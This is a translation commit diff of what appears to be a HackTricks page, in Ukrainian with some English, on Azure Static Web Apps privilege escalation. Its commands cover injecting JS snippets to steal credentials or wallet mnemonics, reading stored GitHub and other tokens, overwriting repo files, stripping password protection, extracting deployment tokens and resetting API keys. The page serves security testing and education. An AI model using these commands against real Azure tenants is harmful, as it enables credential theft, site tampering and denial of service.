Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 12:01:46 +00:00
parent 37eb19a037
commit e339f7daee
@@ -4,7 +4,7 @@
## Azure Static Web Apps
Для отримання додаткової інформації про цей сервіс див.:
Для отримання додаткової інформації про цей сервіс дивіться:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@
### Microsoft.Web/staticSites/snippets/write
Можна змусити static web page завантажувати довільний HTML шляхом створення snippet. Це може дозволити attacker інжектити JS всередину web app і викрасти чутливу інформацію, наприклад credentials або mnemonic keys (в web3 wallets).
Можна змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши snippet. Це може дозволити атакуючому інжектувати JS-код всередину web app і викрасти чутливу інформацію, таку як облікові дані або mnemonic keys (in web3 wallets).
The fllowing command create an snippet that will always be loaded by the web app::
Наступна команда створює snippet, який завжди буде завантажуватися web app::
```bash
az rest \
--method PUT \
@@ -31,7 +31,7 @@ az rest \
}
}'
```
### Прочитати налаштовані облікові дані сторонніх сервісів
### Читання налаштованих облікових даних сторонніх сервісів
Як пояснено в розділі App Service:
@@ -39,14 +39,14 @@ az rest \
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Виконавши наступну команду, можна **прочитати облікові дані сторонніх сервісів**, налаштовані в поточному обліковому записі. Зауважте, що, наприклад, якщо деякі Github облікові дані налаштовано для іншого користувача, ви не зможете отримати доступ до token з іншого облікового запису.
Запустивши наступну команду, можна **прочитати налаштовані облікові дані сторонніх сервісів** у поточному обліковому записі. Зауважте, що, наприклад, якщо якісь облікові дані Github налаштовано для іншого користувача, ви не зможете отримати token з іншого облікового запису.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ця команда повертає tokens для Github, Bitbucket, Dropbox і OneDrive.
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
Ось кілька прикладів команд для перевірки tokens:
Тут наведено кілька прикладів команд для перевірки токенів:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Перезапис файлу - Перезапис маршрутів, HTML, JS...
### Перезапис файлу - Перезапис routes, HTML, JS...
Можна **перезаписати файл всередині Github repo**, який містить додаток, через Azure, маючи **Github token**, відправивши запит такого вигляду, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту.
Можна **перезаписати файл всередині Github repo**, що містить додаток, через Azure за наявності **Github token**, відправивши запит, наприклад, як наведено нижче, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту.
Цим можуть зловживати нападники, фактично **змінюючи вміст веб-додатку** щоб подавати шкідливий контент (вкрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на свої сервери, перезаписавши файл `staticwebapp.config.json`.
Цим можуть зловживати зловмисники, щоб фактично **змінити вміст вебдодатку** для подачі шкідливого контентуикрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на власні сервери шляхом перезапису файлу `staticwebapp.config.json`.
> [!WARNING]
> Зверніть увагу, що якщо нападнику вдасться якимось чином скомпрометувати Github repo, він також може безпосередньо перезаписати файл через Github.
> Зверніть увагу, що якщо зловмисник яким-небудь чином отримає доступ до Github repo, він також може перезаписати файл безпосередньо через Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Маючи цей дозвіл, можна **змінити пароль**, який захищає static web app, або навіть зняти захист з усіх середовищ, відправивши запит, як-от наведеного нижче:
З цим дозволом можна **змінити пароль**, який захищає static web app або навіть зняти захист з усіх середовищ, надіславши запит, подібний до наступного:
```bash
# Change password
az rest --method put \
@@ -133,38 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Дозвіл дає змогу отримати **API key deployment token** для статичного додатка.
Цей дозвіл дозволяє отримати **API key deployment token** для статичного застосунку.
За допомогою az rest:
Використовуючи az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Використання AzCLI:
Використовуючи AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Отже, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це той, який Azure за замовчуванням налаштував для використання. Тому образ і параметри можуть змінитися в майбутньому.
Тож, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки саме його Azure встановлює за замовчуванням. Через це образ та параметри можуть змінитися в майбутньому.
> [!TIP]
> Для деплою додатка ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати такі кроки:
> Для deploy додатку ви можете використати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати наступні кроки:
1. Завантажте репо [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) та виконайте `cd react-basic`.
2. Змініть код, який ви хочете розгорнути
3. Розгорніть його, запустивши (пам'ятайте змінити `<api-token>`):
1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший repo, який ви хочете deploy) і виконайте `cd react-basic`.
2. Змініть код, який ви хочете deploy
3. Щоб здійснити deploy, запустіть команду (пам'ятайте замінити `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Щоб використовувати token, вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання та використовувати APi token.
> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Для використання token вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання й використовувати th APi token.
### Microsoft.Web/staticSites/write
З цим дозволом можна **змінити джерело статичного веб-додатка на інший Github repository**, однак воно не буде автоматично налаштоване, оскільки це має виконуватися через Github Action.
З цим дозволом можна **змінити джерело static web app на інший Github repository**, проте він не буде автоматично provisioned, оскільки це має бути зроблено через Github Action.
Однак якщо **Deployment Authotization Policy** встановлено на **Github**, буде можливо **оновити додаток з нового репозиторію!**.
Однак якщо **Deployment Authorization Policy** встановлено на **Github**, можна **оновити додаток з нового репозиторію!**.
Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити її, використовуючи той самий дозвіл `Microsoft.Web/staticSites/write`.
Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити його за допомогою того ж дозволу `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -187,7 +187,7 @@ az rest --method PATCH \
}
}'
```
Приклад Github Action для розгортання додатка:
Приклад Github Action для розгортання додатку:
```yaml
name: Azure Static Web Apps CI/CD
@@ -250,7 +250,7 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Цей дозвіл дозволяє **reset the API key of the static web app**, потенційно DoSing робочі процеси, які автоматично розгортають додаток.
З цим дозволом можна **reset the API key of the static web app**, що потенційно призведе до DoSing workflows, які автоматично deploy додаток.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
@@ -259,7 +259,7 @@ az rest --method POST \
Цей дозвіл дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині static web app з певною роллю.
Логін знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди:
Вхід знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -270,13 +270,14 @@ az staticwebapp users invite \
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Запити на злиття (Pull Requests)
### Pull Requests
За замовчуванням Pull Requests із гілки в тому ж репозиторії автоматично компілюються й збираються у staging середовищі. Це може бути використано зловмисником, який має права запису в репо, але не може обійти захист гілок production (зазвичай `main`), щоб **розгорнути шкідливу версію додатка** за staging URL.
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Зверніть увагу, що за замовчуванням external PRs не запускатимуть workflows, якщо їхній автор не влив принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім **відправити шкідливий PR** в репо, щоб розгорнути шкідливий додаток у staging середовищі. ОДНАК, існує несподіваний захист: дефолтний GitHub Action для деплою у static web app потребує доступу до секрету, що містить deployment token (наприклад `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PRs не матимуть доступу до цього секрету і external PR не може змінити Workflow, щоб помістити туди довільний токен без прийняття PR, **ця атака насправді не спрацює**.
> Зверніть увагу, що за замовчуванням external PRs не запускають workflows, якщо вони не змерджили принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім надіслати шкідливий PR, щоб розгорнути шкідливий застосунок у staging-середовищі. Однак існує несподіваний захист: дефолтний Github Action для деплою в static web app потребує доступу до secret, що містить deployment token (наприклад, `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PR не матиме доступу до цього secret і external PR не може змінити Workflow, щоб підставити сюди довільний токен без прийняття PR, **ця атака насправді не спрацює**.
{{#include ../../../banners/hacktricks-training.md}}